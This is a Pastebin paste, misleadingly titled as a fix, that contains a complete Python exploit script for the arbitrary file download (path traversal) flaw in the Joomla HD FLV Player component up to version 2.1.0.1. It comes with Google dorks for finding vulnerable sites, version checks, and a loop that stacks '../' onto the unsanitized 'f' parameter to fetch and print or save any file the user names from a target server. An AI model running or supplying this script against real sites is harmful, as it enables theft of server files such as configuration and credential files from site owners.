HimejimaAkeno

Joomla Components HD Flv Player Fix on Windows

Nov 27th, 2014
683
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.54 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # Exploit Title : Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability
  4. #
  5. # Exploit Author : Claudio Viviani
  6. #
  7. # Vendor Homepage : http://www.hdflvplayer.net/
  8. #
  9. # Software Link : http://www.hdflvplayer.net/download_count.php?pid=5
  10. #
  11. # Dork google 1: inurl:/component/hdflvplayer/
  12. # Dork google 2: inurl:com_hdflvplayer
  13. #
  14. # Date : 2014-11-11
  15. #
  16. # Tested on : BackBox 3.x/4.x
  17. #
  18. # Info:
  19. # Url: http://target/components/com_hdflvplayer/hdflvplayer/download.php?f=
  20. # The variable "f" is not sanitized.
  21. # Over 80.000 downloads (statistic reported on official site)
  22. #
  23. #
  24. # Video Demo: http://youtu.be/QvBTKFLBQ20
  25. #
  26. #
  27. # Http connection
  28. import urllib, urllib2
  29. # String manipulation
  30. import re
  31. # Time management
  32. import time
  33. # Args management
  34. import optparse
  35. # Error management
  36. import sys
  37.  
  38. banner = """
  39. _______ __ ___ ___ ______
  40. | _ .-----.-----.--------| .---.-. | Y | _ \\
  41. |___| | _ | _ | | | _ | |. 1 |. | \\
  42. |. | |_____|_____|__|__|__|__|___._| |. _ |. | \\
  43. |: 1 | |: | |: 1 /
  44. |::.. . | |::.|:. |::.. . /
  45. `-------' `--- ---`------'
  46. _______ ___ ___ ___ _______ __
  47. | _ | | | Y | | _ | .---.-.--.--.-----.----.
  48. |. 1___|. | |. | | |. 1 | | _ | | | -__| _|
  49. |. __) |. |___|. | | |. ____|__|___._|___ |_____|__|
  50. |: | |: 1 |: 1 | |: | |_____|
  51. |::.| |::.. . |\:.. ./ |::.|
  52. `---' `-------' `---' `---'
  53.  
  54. <= 2.1.0.1 4rb1tr4ry F1l3 D0wnl04d
  55.  
  56. Written by:
  57.  
  58. Claudio Viviani
  59.  
  60. http://www.homelab.it
  61.  
  62.  
  63. https://www.facebook.com/homelabit
  64. https://twitter.com/homelabit
  65. https://plus.google.com/+HomelabIt1/
  66. https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  67. """
  68.  
  69. # Check url
  70. def checkurl(url):
  71. if url[:8] != "https://" and url[:7] != "http://":
  72. print('[X] You must insert http:// or https:// procotol')
  73. sys.exit(1)
  74. else:
  75. return url
  76.  
  77.  
  78. def checkcomponent(url,headers):
  79.  
  80. try:
  81. req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php', None, headers)
  82. sys.stdout.write("\r[+] Searching HD FLV Extension...: FOUND")
  83. print("")
  84. except urllib2.HTTPError:
  85. sys.stdout.write("\r[+] Searching HD FLV Extension...: Not FOUND :(")
  86. sys.exit(1)
  87. except urllib2.URLError:
  88. print '[X] Connection Error'
  89.  
  90. def checkversion(url,headers):
  91.  
  92. try:
  93. req = urllib2.Request(url+'/modules/mod_hdflvplayer/mod_hdflvplayer.xml', None, headers)
  94. response = urllib2.urlopen(req).readlines()
  95.  
  96. for line_version in response:
  97.  
  98. if not line_version.find("<version>") == -1:
  99.  
  100. VER = re.compile('>(.*?)<').search(line_version).group(1)
  101.  
  102. sys.stdout.write("\r[+] Checking Version: "+str(VER))
  103. print("")
  104.  
  105. except urllib2.HTTPError:
  106. sys.stdout.write("\r[+] Checking Version: Unknown")
  107.  
  108. except urllib2.URLError:
  109. print("\n[X] Connection Error")
  110. sys.exit(1)
  111.  
  112. def connection(url,headers,pathtrav):
  113.  
  114. char = "../"
  115. bar = "#"
  116. s = ""
  117. barcount = ""
  118.  
  119. for a in range(1,20):
  120.  
  121. s += char
  122. barcount += bar
  123. sys.stdout.write("\r[+] Exploiting...please wait: "+barcount)
  124. sys.stdout.flush()
  125.  
  126. try:
  127. req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php?f='+s+pathtrav, None, headers)
  128. response = urllib2.urlopen(req)
  129.  
  130. content = response.read()
  131.  
  132. if content != "" and not "failed to open stream" in content:
  133. print("\n[!] VULNERABLE")
  134. print("[*] 3v1l Url: "+url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav)
  135. print("")
  136. print("[+] Do you want [D]ownload or [R]ead the file?")
  137. print("[+]")
  138. sys.stdout.write("\r[+] Please respond with 'D' or 'R': ")
  139.  
  140. download = set(['d'])
  141. read = set(['r'])
  142.  
  143. while True:
  144. choice = raw_input().lower()
  145. if choice in download:
  146. filedown = pathtrav.split('/')[-1]
  147. urllib.urlretrieve (url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav, filedown)
  148. print("[!] DOWNLOADED!")
  149. print("[!] Check file: "+filedown)
  150. return True
  151. elif choice in read:
  152. print("")
  153. print content
  154. return True
  155. else:
  156. sys.stdout.write("\r[X] Please respond with 'D' or 'R': ")
  157.  
  158. except urllib2.HTTPError:
  159. #print '[X] HTTP Error'
  160. pass
  161. except urllib2.URLError:
  162. print '\n[X] Connection Error'
  163.  
  164. time.sleep(1)
  165. print("\n[X] File not found or fixed component :(")
  166.  
  167. commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME')
  168. commandList.add_option('-t', '--target', action="store",
  169. help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
  170. )
  171. commandList.add_option('-f', '--file', action="store",
  172. help="Insert file to check",
  173. )
  174. options, remainder = commandList.parse_args()
  175.  
  176. # Check args
  177. if not options.target or not options.file:
  178. print(banner)
  179. commandList.print_help()
  180. sys.exit(1)
  181.  
  182. print(banner)
  183.  
  184. url = checkurl(options.target)
  185. pathtrav = options.file
  186.  
  187. headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}
  188.  
  189. sys.stdout.write("\r[+] Searching HD FLV Extension...: ")
  190. checkcomponent(url,headers)
  191. sys.stdout.write("\r[+] Checking Version: ")
  192. checkversion(url,headers)
  193. sys.stdout.write("\r[+] Exploiting...please wait:")
  194. connection(url,headers,pathtrav)
Advertisement
Add Comment
Please, Sign In to add comment